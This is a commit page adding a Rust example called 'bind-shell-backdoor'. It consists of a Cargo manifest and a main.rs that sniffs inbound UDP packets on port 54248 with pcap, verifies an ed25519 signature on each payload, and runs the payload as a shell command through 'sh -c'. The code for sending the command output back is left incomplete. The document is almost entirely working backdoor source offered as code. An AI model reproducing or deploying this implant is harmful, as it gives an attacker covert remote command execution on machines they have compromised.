feat: added command parsing and spawning
This commit is contained in:
15
examples/bind-shell/backdoor/Cargo.toml
Normal file
15
examples/bind-shell/backdoor/Cargo.toml
Normal file
@@ -0,0 +1,15 @@
|
||||
[package]
|
||||
name = "bind-shell-backdoor"
|
||||
version = "0.1.0"
|
||||
edition = "2021"
|
||||
|
||||
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
|
||||
|
||||
[dependencies]
|
||||
tokio = { version = "1.21.2", features = ["net", "rt", "macros", "rt-multi-thread", "sync", "process", "io-util"] }
|
||||
pcap-sys = { path = "../../../pcap-sys" }
|
||||
anyhow = "1.0.70"
|
||||
tokio-stream = "0.1.14"
|
||||
ed25519-dalek = "1.0.1"
|
||||
log = "0.4.17"
|
||||
simple_logger = "4.1.0"
|
||||
143
examples/bind-shell/backdoor/src/main.rs
Normal file
143
examples/bind-shell/backdoor/src/main.rs
Normal file
@@ -0,0 +1,143 @@
|
||||
use std::process::Stdio;
|
||||
use std::{sync::Arc, ffi::OsStr};
|
||||
use std::os::unix::ffi::OsStrExt;
|
||||
|
||||
use tokio::{self, sync::mpsc, process, io::AsyncReadExt};
|
||||
use tokio_stream::StreamExt;
|
||||
use pcap_sys::{self, packets::EthernetPacket};
|
||||
use anyhow::{Context, anyhow, bail};
|
||||
use ed25519_dalek::{PublicKey, Verifier, Signature};
|
||||
|
||||
const PUBKEY: &[u8] = include_bytes!("../../key-generator/pubkey");
|
||||
|
||||
#[tokio::main]
|
||||
async fn main() -> anyhow::Result<()> {
|
||||
simple_logger::SimpleLogger::new().init()?;
|
||||
|
||||
let pubkey = Arc::new(PublicKey::from_bytes(PUBKEY).context("could not parse generated public key")?);
|
||||
|
||||
log::info!("Pubkey is good");
|
||||
|
||||
let mut interfaces = pcap_sys::PcapDevIterator::new()?;
|
||||
|
||||
let interface_name = interfaces
|
||||
.find(|eth| eth.starts_with("eth"))
|
||||
.ok_or(anyhow!("Could not get an ethernet interface"))?;
|
||||
|
||||
let mut interface = pcap_sys::Interface::<pcap_sys::DevDisabled>::new(&interface_name)?;
|
||||
|
||||
interface.set_buffer_size(8192)?;
|
||||
interface.set_non_blocking(true)?;
|
||||
interface.set_promisc(false)?;
|
||||
interface.set_timeout(10)?;
|
||||
|
||||
let mut interface = interface.activate()?;
|
||||
|
||||
interface.set_filter("inbound and udp port 54248", true, None)?;
|
||||
|
||||
if interface.datalink() != pcap_sys::consts::DLT_EN10MB {
|
||||
bail!("interface does not support ethernet")
|
||||
}
|
||||
|
||||
enum EventType {
|
||||
Packet(Result<EthernetPacket, pcap_sys::error::Error>),
|
||||
Send(EthernetPacket)
|
||||
}
|
||||
|
||||
let mut packets = interface.stream()?;
|
||||
let (packet_sender, mut packets_to_send) = mpsc::channel(64);
|
||||
|
||||
while let Some(evt) = tokio::select! {
|
||||
v = packets.next() => v.map(EventType::Packet),
|
||||
v = packets_to_send.recv() => v.map(EventType::Send)
|
||||
} {
|
||||
match evt {
|
||||
EventType::Packet(pkt) => {
|
||||
if let Ok(pkt) = pkt {
|
||||
let packet_sender_clone = packet_sender.clone();
|
||||
let pubkey_clone = pubkey.clone();
|
||||
tokio::spawn(async move {
|
||||
if let Err(e) = handle_command(pubkey_clone, pkt, packet_sender_clone).await {
|
||||
log::warn!("Error handling packet: {e}");
|
||||
}
|
||||
});
|
||||
}
|
||||
}
|
||||
EventType::Send(pkt) => {
|
||||
packets.sendpacket(pkt.pkt())?;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
async fn handle_command(
|
||||
pubkey: Arc<PublicKey>,
|
||||
eth: EthernetPacket,
|
||||
send_response: mpsc::Sender<EthernetPacket>
|
||||
) -> anyhow::Result<()> {
|
||||
use pcap_sys::packets::*;
|
||||
let eth_pkt = eth.pkt();
|
||||
let Layer3Pkt::IPv4Pkt(ip_pkt) = eth_pkt.get_layer3_pkt()?;
|
||||
let Layer4Pkt::UDP(udp_pkt) = ip_pkt.get_layer4_packet()?;
|
||||
|
||||
let data = udp_pkt.get_data();
|
||||
|
||||
if data.len() < 65 {
|
||||
bail!("Packet was too short")
|
||||
}
|
||||
|
||||
let signature: [u8; 64] = data[..64]
|
||||
.try_into()
|
||||
.context("could not get signature from command")?;
|
||||
|
||||
let signature = Signature::from(signature);
|
||||
|
||||
let cmd = &data[64..];
|
||||
|
||||
pubkey.verify(cmd, &signature).context("message provided was unauthenticated")?;
|
||||
|
||||
let cmd = OsStr::from_bytes(cmd);
|
||||
|
||||
log::info!("Received command to execute: {cmd:?}");
|
||||
|
||||
let child = process::Command::new("sh")
|
||||
.arg("-c")
|
||||
.arg(cmd)
|
||||
.stdin(Stdio::null())
|
||||
.stdout(Stdio::piped())
|
||||
.stderr(Stdio::piped())
|
||||
.spawn()?;
|
||||
|
||||
let mut stdout = child.stdout.ok_or(anyhow!("could not get child process stdout"))?;
|
||||
let mut stderr = child.stderr.ok_or(anyhow!("could not get child process stdout"))?;
|
||||
|
||||
enum Output {
|
||||
Out,
|
||||
Err
|
||||
}
|
||||
|
||||
let mut stdout_buffer = [0u8; 1024];
|
||||
let mut stderr_buffer = [0u8; 1024];
|
||||
|
||||
loop {
|
||||
let (out_type, Ok(len)) = tokio::select! {
|
||||
v = stdout.read(&mut stdout_buffer[..]) => (Output::Out, v),
|
||||
v = stderr.read(&mut stderr_buffer[..]) => (Output::Err, v)
|
||||
} else { continue; };
|
||||
|
||||
if len == 0 {
|
||||
break;
|
||||
}
|
||||
|
||||
let msg = &match out_type {
|
||||
Output::Err => stderr_buffer,
|
||||
Output::Out => stdout_buffer
|
||||
}[..len];
|
||||
}
|
||||
|
||||
log::info!("Done executing command {cmd:?}");
|
||||
|
||||
Ok(())
|
||||
}
|
||||
Reference in New Issue
Block a user